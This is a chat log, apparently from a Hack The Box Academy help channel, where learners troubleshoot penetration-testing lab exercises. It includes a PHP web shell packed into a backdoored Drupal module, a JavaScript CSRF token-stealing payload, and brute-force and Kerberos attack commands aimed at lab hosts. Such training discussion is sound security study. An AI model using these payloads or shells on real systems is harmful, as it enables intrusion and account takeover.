#modules

1 messages · Page 282 of 1

split glade
#

msf > msfdb init
msf > db_connect -y /usr/share/metasploit-framework/config/database.yml
?

thorn hawk
#

Good morning to all. I had yesterday an issue with curl and the page source not giving the same results. I found the reason it was because i was not using the correct request verb and request headers and data. i was bale to fix that. Now i am trying to download all potential files from the website with this script. Do you see why this code might not work? I have made executable and can run it but it doesn't do the wget to fecth the file. This is part of Web Attacks IDOR chapter first exercise.

#!/bin/bash

url="http://83.136.252.57:55322"

for i in {1..20}; do
for link in $(curl -s "$url/documents.php?" -X POST -d 'uid=$i' -H 'application/x-www-form-urlencoded' >
wget -q $url/$link
done
done

fathom pendant
thorn hawk
civic locust
#

Hey guys. WTF, where is command line and menus...

#

I have nothing related to cmd in my pwnbox

sterile solstice
#

you use the command line with the MATE terminal

civic locust
#

I can't even paste here a screenshot...

fathom pendant
fathom pendant
#

? I've had no issues launching terminal from pwnbox

#

This channel is for help with academy modules

sterile solstice
#

sometimes it is, but thats usually to do with target machines not the box itself

civic locust
dim wolf
#

last time i checked pwnbox has MATE terminal on the top bar, the green square icon. just click it

fathom pendant
#

Reach out to support

shrewd bolt
fathom pendant
#

Refresh the page

civic locust
fathom pendant
#

Then reach out to support

#

They're the only ones that can help you

dim wolf
#

you should be able to right click on one of the borders and add a taskbar or something

fathom pendant
#

My only other suggestion is resetting it

civic locust
#

Okay, i will try to reset it

#

I thought HTB changed the design

fathom pendant
#

Note if you're a free user you only get the 1 spawn per day

fathom pendant
civic locust
#

I have a student subscription

#

Okay, it works

#

Strange.

fathom pendant
#

spawned weirdly ¯_(ツ)_/¯

#

Or the vnc drew the screen awkwardly

clever topaz
#

can anyone help me with LPE-logrotten section, ive completed all other sections and only left this...

#

cant really execute the payload and it didnt go to /etc/bash_completion.d

fathom pendant
#

Check how the log is written

clever topaz
#

If the log is double quoted then I should use double quote for payload?

#

Tried using the sample payload and manual generated (rev shell and create file) but all failed

rustic sage
clever topaz
#

Yes

jolly shore
#

Hi how are you.
I am new and I am blocked with exercises in the modules.can anyone help me

rustic sage
#

What happened?

jolly shore
#

It is about nesus skills assessment

pseudo storm
#

Hello anyone train me for became ethical hacker dm me

stone hare
#

On file transfer module and I've been stuck on this issue for a few days now. I want to transfer a file from my host, to the remote host I've RDP'd into. There are 3 shares listed, C$, ADMIN$, and IPC$. I can only connect to IPC$, the C and Admin I get the error above, and I'm using the password and username provided by the module

#

Any idea what to do?

rustic sage
#

Could be a different pass

rustic sage
#

CTRL+SHIFT+V

stone hare
#

yes

rustic sage
#

Then you don't need the access if you don't have it

stone hare
#

huh

rustic sage
#

Transfer it into the share you have access to

stone hare
#

the IPC$ share is more of a protocol, it doesnt support file storage

#

so i can only use C and Admin

#

my question is if im doing it right, cause i know the answer is just drag and drop

#

but i dont want to do that

rustic sage
#

The answer is whatever is easiest to do

hexed lintel
#

anyone
how to fix this timedout error

iron ibex
#

Hey dear hackers,
In what Linux package can I find the command snmpwalk ?

sweet jewel
#

apt-get install snmp

sterile solstice
#

anyone know where i can get PrinterSpoofer64.exe

#

i found the git for it but for the life of me i can't seem to compile it

glacial sparrow
#

is anyone able to provide some advice for the final optional exercise of Pass The Ticket (Linux)? i've proxied my traffic through MS01, and have got the ticket that i need onto my attacking machine (and converted from kirbi to ccache), but i'm struggling to connect to the "C disk". has anyone else encountered issues when they get to this stage?

iron ibex
fiery berry
sterile solstice
#

legend!

glacial sparrow
#

the command i'm using is:

smbclient \\\\IP\\C$ --use-kerberos=required --use-krb5-ccache=file.ccache -c ls -no-pass
fringe urchin
#

Dont think that "user" has a share folder since he aint one.speaking from my memory

glacial sparrow
#

user would be my local username

#

i also tried using the -U flag on my smbclient command but got the same errors

heady pike
#

Hi all, Has anyone here solved Mailing?

next bronze
#

iirc the user is also a domain admin so you can try psexec.py too

glacial sparrow
#

and is the "C disk" on MS01? or is it LINUX01?

fringe urchin
#

At work so cant access my notesprayge

next bronze
#

the last optional question yeah? that's juilo's ticket

glacial sparrow
#

yeah that's the one

#

think there may be an issue with my proxy connection since i'm getting timeouts when i try to use impacket-smbclient through proxychains

analog dock
#

@next bronze tf is this pfp

next bronze
jolly yacht
#

Hey, in the Linux Fundamentals module filter content section. The exercise to find the unique path in the given domain address, i tried to use this command
cat h.txt | grep inlanefreight|awk -F 'www' '{print $2}'|tr "'" '"' |cut -d'"' -f1 |sort -u|wc -l
it shows 33 count but if i tried to use tr -d "'" (deleting the single quotes) instead of tr "'" '"' (replacing the single quote with double quote , which i got this from chatgpt) the count is now 34(which is correct answer). i dont know how, i mean both gonna achieve the same output since iam gonna cut the " double quotes in the further command. its pretty confusing, can anyone please share you're insight , i tried to ask chatgpt about this but i still cant get it ?

sterile solstice
glacial sparrow
sterile solstice
#

now that is done, im off! really didn't expect to be up this late. night all

next bronze
#

you're also missing the fqdn of the DC in your hosts file

glacial sparrow
#

oops, typos on both those fronts kekhands

next bronze
#

for impacket with ccache, you can just do @<fqdn> -k -no-pass

glacial sparrow
#

is there a way to get it working with smbclient? or is impacket just the best way to do it?

next bronze
glacial sparrow
#

true that. the syntax you just showed me there is way nicer to read

#

will definitely be noting that one down for the future

grand loom
#

this question is making me go crazy any help, tips? i tried alot of fuzzing but to no result

#

Information Gathering - Web Edition Skill Assesment (updated version)

hexed lintel
#

Module Windows Privilege Escalation
Skills Assessment Part 1

#

I am able to get nt authority on the machine but unable to find the ldapadmin password.
can anyone giveme hint on this

#

got it

grand loom
#

got it too

#

lol

wanton rover
#

so what you upp to

solid crest
#

Has anyone had it where they box will give you the answer when you click on it before you even attempt it?

rustic geode
#

hi all, anyone here done the hard skill assessment for Abusing Http Misconfigurations? Would appreciate some help, thanks

clever topaz
#

do we share HTB instance? because someone just sent a GET request to my web server 💀

#

like immediately

slender violet
#

Password Attacks -> Network Services -> Question 1
Find the user for the WinRM service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer.
https://academy.hackthebox.com/module/147/section/1327

Crackmapexec is not installed. I tried running it as root user and normal user
┌─[-@-]─[~]
└──╼ $crackmapexec
bash: crackmapexec: command not found

┌─[✗]─[-@-]─[~]
└──╼ $cme
bash: cme: command not found

I was able to install crackmapexec on my system and then use it. But shouldn't it be pre-installed on ParrotOS?

next bronze
#

use netexec instead

slender violet
#

Is crackmapexec deprecated now?

next bronze
#

yep, netexec is the maintained fork

slender violet
#

Thank you.

vocal junco
#

That was good

clever topaz
#

anyone can give me a clue on LPE - log rotten? tried to generate different payload still cant solve

vocal junco
#

🙏 thank you

fierce dock
#

I have a question about unzipping a file I'm worried it will be too big

#

So rockyou2024.txt.gz is 50mb but what happens if I unzip it?

#

It's 9 billion passwords

clever topaz
#

its just gonna be 400-500mb

next bronze
#

nah wordlists of similar size are about 100 gigs

clever topaz
#

ooo the latest version i suppose

shut vapor
#

Any links to the new password list? No easy find googling.

fierce dock
#

It's on git hub

#

Just search rockyou2024.txt git hub

#

100 gb !

#

Can I search the compressed file the same way I would search the zipped file or no?

clever topaz
fierce dock
#

Like fir example let's say my password was football1234 and I go grep football1234 rockyou2024.txt would it find it in the compressed file the same way it would unzipped?

shut vapor
#

I'm only finding 2021 on github. Maybe it got nuked?

main spear
#

Hello, can someone give me some advice for the a report ? I’ve finished the enteprise attack module and I am trying to make my report, but there is few thing that I don’t understand

fierce dock
#

Hmmm is there a way I could unzip it somewhere else like an kali aws instance or something where I can get alot of storage space quickly "I dont think aws gives you that much memory "

shut vapor
#

but, yeah, you could also use an S3 bucket too. Overhead of grepping compressed data or the network communication with S3 might be prohibitive. I've never tried either.

fierce dock
shut vapor
#

Thanks anyway. I'm sure i'll find it soon enough.

zenith canopy
#

In this lesson we are taught to disable restricedadminmode by adding a registry key so that we dont get an error when trying to authenticate to a host via RDP with a hash instead of a password, how can we disable it when we do not have access to the host in the first place?

shut vapor
zenith canopy
next bronze
hexed lintel
#

how to fix this?

fathom pendant
shell solar
#

module PASSWORD ATTACKS , Password Mutations, first i use hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list, and after this do hydra -l sam -P mut_password.list ssh://ip, but this is taking a very long time, I want to find out if my actions are correct so as not to waste time

zenith canopy
#

i was attempting the RDP lab, im a little confused here, this statement says that an administrator hash is found from a different machine and we are asked to authenticate to the machine we currently have access to, how can two machines have same local accounts?

shut vapor
# shell solar module PASSWORD ATTACKS , Password Mutations, first i use hashcat --force passwo...

When I want to know if my syntax on a command is correct, I create a scenario where I already know the answer. You're beyond me in the path and I have little experience with hydra, but it looks like you're trying to brute ssh credentials. Setup a system to which you can SSH, then create a very small password list with one right answer. You can ssh into your own system which should make it easy if I accurately assessed that SSH is your target.

#

If it's hashcat your concerned about I can't help, but maybe you can apply the same principle in some way.

shell solar
shut vapor
#

Yeah it happens a lot. Like if you have a 100GB password list that'll take hours to complete but you mess up the hashcat command and you're trying against the wrong hash type. A synthetic test to ensure you have the right syntax will save your sanity.

#

You definitely don't want to churn through the whole thing and then think... "boy, did I issue the wrong command or is the password just not in that list?" 😬

next bronze
clever topaz
#

if im pivoting from a pivot machine to another network do i need to install the proxy at the first pivoting machine and agent at the second?

#

just u can just forward everything to the attacker machine

fathom pendant
#

Does machine A have access to network B? Then no, you only need the agent on first and host on yours

#

If you need to access network C

#

You would set up a port forward that would chain the second agent back to your host

#

At least, with ligolo-ng that's all you need

#

(And setting up the simple routes)

clever topaz
#

but what if u need network B to access to network C

runic depot
#

Firewall and IDS/IPS Evasion - Hard Lab .............. is the easiest lab ever but i forgot to put sudo and got stuck for 2 hours because i thought i was doing a technical mistake

clever topaz
#

do u chain the agent in network C to network B and further forward it back to host

#

with ligolo-ng

fathom pendant
fathom pendant
fathom pendant
#

You'll generally have one less pivot than you will accessed networks

clever topaz
#

so basically u need to reinstall ligolo in machine b right

fathom pendant
#

Just the agent

clever topaz
#

ooo thank you so much

fathom pendant
#

Look up double pivot tutorials with ligolo

#

The agent on machine b should call back to machine a on a forwarded port, that forwards it back to your attack host

#

So a listener on port 4444 on machine A points back to your ligolo port on your attack machine

clever topaz
#

ooo i see thank you!

zenith canopy
fathom pendant
#

"The RDP lab" isn't necessarily helpful

#

Most windows related modules/sections have rdp

grizzled fulcrum
#

Hi. bros. Can someone help with a question? Im at CBBH hacking Wordpress in the section "Login". Im trying to filter the results to xmlrpc with grep but I cant find a way. Can soemone give a me tip, pls?

zenith canopy
grizzled fulcrum
#

||<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>||

#

I did with burp. But I cant find a way to filter the results

#

I saw something like this ||<value><string>blogger.getUsersBlogs</string></value>||, but i get a error

#

I really dont know how to do it

shell solar
# fathom pendant Don't attack ssh

yes, I finally found the password, I tried it through FTP, it works out much faster, we can conclude that if you have ssh and ftp, then it is better to choose ftp for brute force in order to find the password much faster?

grizzled fulcrum
wanton idol
zenith canopy
fathom pendant
restive trail
#

Hello there. I need some help with this section of the module. I tried gobusting the Target IP and got nothing, gobusting the URL gives errors. When I edit the host file to link the URL inlanefreight.htb to the target URL nothing works.

fathom pendant
#

What's your /etc/hosts

split glade
fathom pendant
restive trail
fathom pendant
#

You don't include the port in the /etc/hosts file

zenith canopy
fathom pendant
#

Of the connection/tool

fathom pendant
#

I also don't know what you mean "found on a separate machine "

restive trail
fathom pendant
next bronze
#

they're not the same local account accounts, as @split glade said if the password is shared, then the hashes would be the same too

split glade
#

Module: Attacking Common Applications
Chapter: Attacking Drupal
https://academy.hackthebox.com/module/113/section/1209
I'm trying to upload a backdoored module, and it doesn't work for both vhost
My steps:

  • wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz; tar xvf captcha-8.x-1.2.tar.gz get the captcha drupal module and uncompress it
  • echo "<?php echo '<br><pre>' . shell_exec(\$_GET['cmd']) . '</pre><br>'; ?>"> shell.php create web shell
  • echo '<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\n</IfModule>'>.htaccess; cat .htaccess create .htaccess file, because drupal denies access to the modules folder by default
  • mv shell.php .htaccess captcha; tar cvf captcha.tar.gz captcha/ move the 2 new files to the captcha folder, then recreate the module .tar.gz file with our backdoor
  • LC Manage > Extend > "+ Install new module" (if you don't see the button for some reason, browse to $TARGET/admin/modules/install) > Browse > Select the backdoored Captcha archive> Install

Result:
http://drupal-qa.inlanefreight.local/admin/modules/install
Fatal error: Cannot use result of built-in function in write context in /var/www/drupal-qa.inlanefreight.local/modules/system/system.tar.inc on line 595
http://drupal-dev.inlanefreight.local/admin/modules/install
The website encountered an unexpected error. Please try again later.

I also tried:

  • manually creating the shell.php and .htaccess files like in the chapter
  • restarting the box
  • installing the original captcha module, it doesn't work either

At this point I'm wondering if it's supposed to work? Just so I don't lose too much time on it

olive fiber
#

Hello Guys

Any tips with the last questuon of Kerberos Skills Assessment

#

I am on server01 with a**** user, trying to monitor with rubeus

olive fiber
#

tried

#

with printerbug

next bronze
olive fiber
next bronze
#

you just need to coerce, it's not gonna be a computer account

olive fiber
#

yes i know, i saw the tip

split glade
olive fiber
#

will rerty again with start from 0

radiant tundra
#

Hey all, I think I'm being really dumb hoping someone can help me. I started the "Active Directory Enumeration & Attacks" Module

#

I've gotten to the point I need to connect from the ParrotOS box I'm given to the attack box

#

I don't see the IP address of this attack box anywhere

#

Am I missing something?

next bronze
radiant tundra
#

Scroll to the bottom, spawn the target, connect to the Linux attack host using xfreerdp and fire up Wireshark to begin capturing traffic.

#

I know the commands to connect via xfreerdp were given at the beginning, but nowhere am i seeing the bloody IP to use to connect to

fathom pendant
#

I believe these sections give you 2 ips to use

#

But iirc it's on 172.16.5.225

#

There's one section that gives connection info for you to save

split glade
radiant tundra
#

Connecting via FreeRDP
We can connect via command line using the command:

Introduction to Active Directory Enumeration & Attacks
adninja@htb[/htb]$ xfreerdp /v:<MS01 target IP> /u:htb-student /p:Academy_student_AD!

#

I have No IP to connect to

#

Rather this one:
adninja@htb[/htb]$ xfreerdp /v:<ATTACK01 target IP> /u:htb-student /p:

warm portal
#

use the spawned target IP, that gets you to the "customer provided attack host" which bridges the 10.129.X.X and 172.16.X.X networks

#

MS01 is inside the "customer" network. You're supposed to go through the initial target as the "customer provided on-prem system"

radiant tundra
#

I should be able to connect to this EA-Attack01 host right?

radiant tundra
#

I don't see an IP for it

#

What fundamental thing am I missing

fathom pendant
#

What section are you on?

#

Actual section name

radiant tundra
#

"Initial Enumeration of the Domain"

warm portal
#

did you spawn the target system near the questions at the end?

fathom pendant
#

Make sure you read the name of the host that's spawned in the target

radiant tundra
#

Ohhh wow thank you so much

#

That text is so small

#

I've been looking at this for hours

fathom pendant
#

Depends on screen resolution

#

Also you don't need Wireshark, you can do it from an ssh session

#

Idek if rdp is running on the attack host

verbal turtle
#

What is the API key the inlanefreight.htb developers will be changing too?

its in a vhost ?

fathom pendant
#

You need to crawl for it

#

Unless you wanna spend an hour clicking links

#

And investigating source codes

#

Subdomains of subdomains exist

verbal turtle
radiant tundra
fathom pendant
#

You're given an initial domain to work off of: inlanefreight.htb

fathom pendant
radiant tundra
#

I'm a newbie to the academy, I really appreciate the help

fathom pendant
#

Start Instance = pwnbox. In-browser vm

#

They should make intro to academy mandatory smh

verbal turtle
fathom pendant
#

I recommend going through all the questions if you're revisiting this module

verbal turtle
fathom pendant
#

No you don't

#

You use the wordlist to find what you put in the hosts file

verbal turtle
#

I used seclist and nothing useful appeared

fathom pendant
#

100 threads is safe to use and won't DoS the server

verbal turtle
#

I used it and nothing useful appeared

dusky gyro
fathom pendant
verbal turtle
#

ffuf -u http://FUZZ.inlanefreight.htb:48935 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt

verbal turtle
#

how it is wrong

fathom pendant
#

To vhost fuzz with ffuf you need to do -H "HOST: FUZZ.inlanefreight.htb"

verbal turtle
#

ohh

#

i forget it

#

thx bro

fathom pendant
#

Your command only works if it's a public website

#

As subdomains might be hosted on other servers

silk anchor
#

Finally finished Active Directory Enumeration & Attacks, That 2nd skills assesment was a lot of fun and a great challenge apart from that one password.

split glade
#

That one password was tricky, but I guess it's a great lesson, maybe for the exam, and in a real environment

low vine
#

CWEE XSS&CSRF Section Bypass CSRF Via CORS

I have a current exfiltration and I dont understand why its not accepting my answer.

    // GET CSRF token
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://vulnerablesite.htb/profile.php', false);
    xhr.withCredentials = true;
    xhr.send();
    var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
    var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);

    // do CSRF
    var csrf_req = new XMLHttpRequest();
    var params = `promote=htb-stdnt&csrf_token=${csrftoken}`;
    csrf_req.open('POST', 'https://vulnerablesite.htb/profile.php', false);
    csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    csrf_req.withCredentials = true;
    csrf_req.send(params);
</script>"></iframe>

This is the paylaod for grabbing csrf token and exfiltrating, why might this be wrong?

#

NVM now its no longer exfiltrating, need some help / explanation

tranquil umbra
#

I am working on a course and ran into a confusing issue where the "question" is not an actual question and doesn't actually tell me what I should answer with, and all of the answers I can think of that make sense appear to be wrong.

The "question" is: The server above loads the flag after the page is loaded. Use the Network tab in the browser devtools to see what requests are made by the page, and find the request to the flag.

What exactly is it asking for? This is in the Web requests module, on the HTTP Headers section.

I have tried the flag name, just the alphanumerical portion of the flag name, the entire request, the type of request, and the full filename alone. I'm really rather lost.

tranquil umbra
# next bronze check the hint, it's flag_...

Okay, so the answer appears to be the contents of the flag file. I had to get the flag number, then download and access the text file to get the answer. I feel like the question needs maybe a bit more detail? Or are the questions in HTB Academy usually that vague?

Because the previous questions were very simple and direct, then this one that wasn't even clear in what kind of answer it wanted.

next bronze
tranquil umbra
dim wolf
#

if a flag is involved, most likely you want to submit the contents of the file containing the flag

rustic sage
fathom pendant
#

[You decide to capture the request sent by metasploit]

#

Yes you're going to get an error

rustic sage
fathom pendant
#

That's the point

#

Then you're missing something

#

Bc I had no issues getting burp to catch the request

#

Is intercepter turned on?

rustic sage
fathom pendant
#

And your proxies is set: HTTP:127.0.0.1:8080?

rustic sage
#

god dammit

fathom pendant
#

It's set wrong

rustic sage
#

i need to fix my keyboard

fathom pendant
#

It's not http://

#

Just http:

#

type:address:port

rustic sage
#

oh wait

fickle sparrow
#

``gobuster vhost -u http://inlanefreight.htb:48827 -w subdomains-top1million-110000.txt --exclude-length 301 -t 200

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://inlanefreight.htb:48827
[+] Method: GET
[+] Threads: 200
[+] Wordlist: subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: false
[+] Exclude Length: 301

Starting gobuster in VHOST enumeration mode

Progress: 114441 / 114442 (100.00%)

Finished

`` why i can't find nothing? web gathering Skills Assessment

rustic sage
#

ok that fixed it

rustic sage
#

🫡

fickle sparrow
fathom pendant
#

You also don't need to exclude anything

fickle sparrow
#

ok

blissful zealot
#

hey everyone good morning!

#

anyone know why im getting no mysql in the sql injection module?

fathom pendant
#

?

#

Gonna have to elaborate my guy

blissful zealot
#

maybe havent had enough coffe haha

#

yea yea hol up

fathom pendant
#

You mean in the pwnbox?

#

You can't post images here dude

blissful zealot
#

oh haha ummm gettting bash: mysql: command not found

#

intro to mysql just at the start

#

thought it would be on the box?

fathom pendant
#

If in pwnbox

For mysql please run the following
wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-server_8.0.35-1debian12_amd64.deb-bundle.tar
tar -xf mysql-server_8.0.35-1debian12_amd64.deb-bundle.tar
sudo dpkg -i mysql-{common,community-client-plugins,community-client-core,community-client,client,community-server-core,community-server,server}_*.deb

#

Something got messed up when they updated the pwnbox image

blissful zealot
#

oh sweet thats all good though I was going crazy thank you!!!!

fathom pendant
#

From Diablo, posted in the pwnbox channel (you'd have to read and follow #welcome to see it

#

For mssqlclient you need to run sudo pip install impacket --upgrade

fickle sparrow
#

awesome marcielee! thank u so much...:) i got it

fathom pendant
#

Things are a bit broken

#

This is why I have my own vm

#

The only reason for missing tools is my own stupidity

blissful zealot
#

ahhh i see my bad been offline for a bit trying to get back onto the grind prayge

#

I have a couple of vms up but didnt know that you could vpn into acadamy?

fathom pendant
#

Yeah there's a vpn config you can download

blissful zealot
#

-_- all this time

fathom pendant
#

Since always brother

blissful zealot
#

shows what i know haha

#

glad i jumped on the discord 😆

#

well that was life changing thanks @fathom pendant

fathom pendant
#

Just a note: don't use the pwnbox and vpn at the same time

blissful zealot
#

good idea ill shut it down XD

fathom pendant
#

Short answer: networking reasons

#

Longer answer: you get assigned the same IP and that causes collisions

austere citrus
#

Hey! Anyone here that might be able to help me with OWASP ZAP from the Intro to Web Proxies module? I can't even make a basic request and idk if it's me or if it's a technical issue. I'm frustrated and feeling like I'm just overlooking something simple.

fickle sparrow
#

send a screenshot

fathom pendant
#

Make sure you're not using both burp and zap at the same time

cloud urchin
#

yeah sounds like a misconfiguration related to the proxy

#

double check the browser proxy extension settings and burp proxy settings

austere citrus
#

I am not. I have a screenshot, in ZAP, the buttons that should be along the left and right side of the HUD are missing. I've tried resetting the instance but same thing happens. Where do I upload the screenshot? I thought there used to be an arrow but I don't see it anymore.

cloud urchin
#

then you'll need to provide more information, such as what you mean by "can't even make a basic request" leaves a lot on the table as to what the root cause of the problem could be

#

you can upload screenshots here

fathom pendant
#

You need the zap plugin to see the buttons

cloud urchin
#

i hate that overlay i always turn it off asap

#

ohh new module heck yeah

austere citrus
#

Aside from the HUD, In the quick start panel, I enter the IP address given by the question and then click on “Launch Browser”. However, it fails to reach the target. I thought maybe it was an issue with the target IP so I tried another but still got the same result. The error is "Failed to attack the URL. Connection refused"

fathom pendant
#

If you're not using the zap browser you're not gonna see the zap hud

austere citrus
fathom pendant
#

Http:// Defaults to 80, and if that's not running you'll get a connection refused

austere citrus
fathom pendant
#

The targets give you a public_ip:port that are running http

#

It doesn't know to negotiate down the request to http

austere citrus
fathom pendant
#

Unless explicitly told, assume http

austere citrus
#

I had no idea that was to be assumed. I would've thought it would be the other way around since https is used more. thanks again though

#

any ide why there are no buttons alongisde the left and ride sides of the hud?

fathom pendant
#

Are you using the zap browser?

austere citrus
#

Yesterday when I was on the pwnbox the buttons were there, but today they are gone. Yes, I'm using the ZAP browser.

fathom pendant
#

I did most with burp unless told to use zap ¯_(ツ)_/¯

austere citrus
#

you know, I was going to go with Burp, but being that ZAP is completely free, I figured it would be better to learn it instead.

fathom pendant
#

Burp is also free

austere citrus
#

The HUD is driving me nuts! It's been giving me problems on the pwnbox and also on my own pc.

fathom pendant
#

The only major annoying thing is speed

#

But imho using your own machine is gonna be a better experience

austere citrus
#

thanks for the tip. ZAP is outdated in pwnbox and I wonder if that's causing the issue.

#

appreciate your help though. thank you

fathom pendant
#

Probably

austere citrus
#

I lost almost a whole day trying to get ZAP working between pwnbox and my own PC. Very frustrating.

fathom pendant
#

It's why I prefer my own stuff, version control and such is a big factor

#

You don't need the HUD btw to do zap stuff

#

It just makes it slightly more convenient

austere citrus
#

I know, I just got caught up in trying to get it to work. I hate just giving up so I went down the rabbit hole.

#

On my own PC, I can't get the ZAP browser to launch at all and can't figure out why. I posted on their help forums and am hoping someone replies.

rustic sage
#

Try re installing zap

fathom pendant
#

Likely missing some dependencies, if you launched zap via terminal you'll see the error in the terminal

rustic sage
#

This same thing happened to me too once and I uninstalled and reinstalled again and it worked

austere citrus
#

hmmm. I actually installed it in a Docker container. I removed and rebuilt the container many times before just giving up. I could try installing it directly on my pc I guess.

fathom pendant
#

your docker could be missing the dependencies ¯_(ツ)_/¯

austere citrus
#

yep it very well could be

rustic sage
#

That's probably why

austere citrus
#

do you happen to know if ZAP is included with Parrot Security? I just installed it in a vm for HacktheBox and am wondering if it might work properly there.

fathom pendant
austere citrus
#

yep, i just found it. thanks

rustic sage
fathom pendant
#

And it's more of a theme than it is "htb specific"

rustic sage
#

The Security distro of parrot comes with zap pre installed apparently

austere citrus
#

do you mind if i ask one more question? In the lesson they say to "set the IP value on the page, then click on the Ping button." I cannot find a ping button in ZAP anywhere.

austere citrus
fathom pendant
#

Look at the webpage that's loaded

austere citrus
#

Oh! lol, my brain is fried. I should probably go to bed and start over again tomorrow haha

warm portal
#

I think file inclusion has to have one of the best skills assessments I've done so far. Actually made me test almost everything in the module.

fathom pendant
#

Most do

austere citrus
#

@fathom pendant you have an amazing memory!

fathom pendant
#

Most of my memory comes from reinforcing it through helping others

austere citrus
#

I've been through about a dozen modules so far and I know I'm going to have to go back and re-read them. The farther I get, the more I understand, and it just makes sense to go back again with a new perspective.

rustic sage
#

What path are you taking?

austere citrus
#

I was going to go down Pentester after finishing all the basic modules, but ended up detouring down Bug Bounty Hunter. My hope is I can put a few dollars in my pocket as I continue learning. What about you?

rustic sage
#

Same I am taking the CBBH path lol

austere citrus
#

oh nice! I just started, I think I'm on the third module?

rustic sage
#

I am on the first lol I started yesterday

austere citrus
#

oh well welcome!

sterile solstice
#

finished the AD attacks and enumeration last night, so today i'm now at the stage of the web related stuff, i.e. web proxy's

#

that being said ... im doing the Burp Intruder section right now, and the CE edition so very slow .... obviously to keep features for the Pro edition. will make this assessment slow lol

fathom pendant
#

It's also good to bear in mind: patience

sterile solstice
#

yea, i had a feeling. thats the next section. though so far i've had trouble following the instructions on ZAP as the module and my version of ZAP dont really match up

fathom pendant
#

Yeah only slightly

#

I just matched "close enough"

#

Some ui stuff mixed around

sterile solstice
fathom pendant
austere citrus
#

okay, one last question. we are directed to change the ip parameter from 1 to ls. But they are only showing how to do this using the HUD (which isn't coming up for me). How can I do this without the HUD?

fathom pendant
#

I honestly don't recall how I did this

sterile solstice
# fathom pendant Some ui stuff mixed around

yea though at this early stage that is still confusing. its the same for Burp, its not all in the same places. And you easily get lost with assessments if you deviate from the steps they give you. so being extra cautious prob doesn't help

sterile solstice
austere citrus
#

it's okay. i might just come back to it tomorrow. I can see the IP parameter I'm supposed to change, but it won't directly let me edit the field. I just need to do some more reading I guess.

fathom pendant
#

Mm it's editing the html element

#

That's what it is

austere citrus
#

Yeah, I assumed I need to do that but I can't figure out how to edit it. LIke what button do I need to press, or what option do I choose.

#

they show how to edit it using the HUD, but of course, the HUD isn't coming up for me

fathom pendant
#

I used burp for this. You can also likely inspect the request in the ZAP GUI

sterile solstice
fathom pendant
#

It's also a byproduct of you being tired likely

#

I suggest setting this aside and getting rest

fervent violet
#

hello, where can i ask for help to answer a question?

fathom pendant
#

Is it related to an htb academy module?

fervent violet
#

yes

fathom pendant
#

Then right here lol

#

The channel aptly named "modules"

sterile solstice
#

and marcie is our lead guru

fervent violet
#

im studying linux fundamental and have the question " What is the name of the config file that has been created after 2020-03-03 and is smaller than 28k but larger than 25k?"

#

I've been trying for a long time and I can't find the answer

fervent violet
#

yes

fathom pendant
#

Well it doesn't sound like it if you can't find the file

#

The provided sample command should work

fervent violet
#

thanks

#

i was putting -name *.config , but it is just conf

fathom pendant
mint sundial
#

ls

spark spruce
#

does this new module "API Attacks" comes under CBBH?

and what does replacing web services and api module means?

fathom pendant
#

it means it'll be replacing the Web Services and API module

spark spruce
fathom pendant
#

yes as a replacement to the above linked module

spark spruce
#

okay thank you

#

But I have completed CBBH
So why not it is unlocked for me?

#

Or It will unlocked only when it becomes as part of CBBH?

#

Should I unlock it through cubes or wait for replacement in CBBH?

fathom pendant
#

you should unlock through cubes

#

as it's yet unknown when it'll be added as the replacement for it

#

but the exam is doable with the current module setup

#

so you're fine if you don't do it

spark spruce
#

fine
Understood

topaz fossil
cobalt trench
#

is HTBA having issues starting up targets right now?

#

I cant ping any of them

vocal rune
#

Can anyone get my gf hacked insta back?

jade latch
#

Information Gathering - Web Edition / Creepy Crawlies

it wants me to use a specific tool that i frankly can't get to work. ive done the installing of scrapy, the module works and all, but there is another error with scrapy (attached) that i can't bother to find out how to fix it. i installed scrapy through apt install python3-scrapy. i'ved looked through the code for ReconSpider.py and nothing about future stored report locations

fathom pendant
vocal rune
#

Alr thanks

jade latch
#

thanks a lot! abdz's fix works

fathom pendant
#

(you'd need to add --break-system-packages)

jade latch
#

ah i should've done that

fathom pendant
#

but also if you downloaded the ReconSpider tool a while ago (> like 3 days ago when Panda Updated) then it's the old version that wasn't fixed

#

what I did was just redownload and unpack it

#

but since you're using pwnbox it should be the fixed version

#

@hot owl I don't do private DMs; ask your question here

spark spruce
#

In reset password field
if you can send OTP to any user's email with just changing user id

what type of vulnerability is this ?

sterile solstice
sterile solstice
# storm elk Same here

Pro is 500 so that may be an option for the future..but will definitely give both a fair shot.

storm elk
#

Most modules focus on burp. At least in CWEE

#

Community is more than enough for most things

sterile solstice
#

oh, good to know! im just doing the ones in the later half of CPTS but i plan on doing CBBH as well. and who knows, with more exp, CWEE.

sterile solstice
fathom pendant
storm elk
#

So you will find that you got good progress on CBBH

sterile solstice
#

and my old job would have never done that. they're cheap. unless the engagement specifically needed it haha

sterile solstice
storm elk
#

I’m more a web guy so I went for cwee after CBBH

wraith pelican
storm elk
#

I read about it before

dusky gyro
sterile solstice
fathom pendant
storm elk
storm elk
dusky gyro
fathom pendant
sterile solstice
#

yea i really gotta improve my code writing skills. lol

wraith pelican
fathom pendant
#

and upload them with your report

acoustic owl
sterile solstice
dusky gyro
acoustic owl
#

The courses often require a good understanding of the language

fathom pendant
#

they are assuming basic mastery of the language

#

they are tier 3 modules after all, not intro

dusky gyro
#

cool, look forward to them

acoustic owl
#

Sure, a lot is explained. But it helps a lot if you already have good knowledge.

fathom pendant
#

i.e. you know your way around the syntax and can generally read and understand what the code is doing

storm elk
rustic sage
#

I mean CBBH requires a basic understanding about how stuff works before taking the path too

fathom pendant
#

CWEE is more in-depth

#

that's why i said basic mastery, not basic understanding

acoustic owl
#

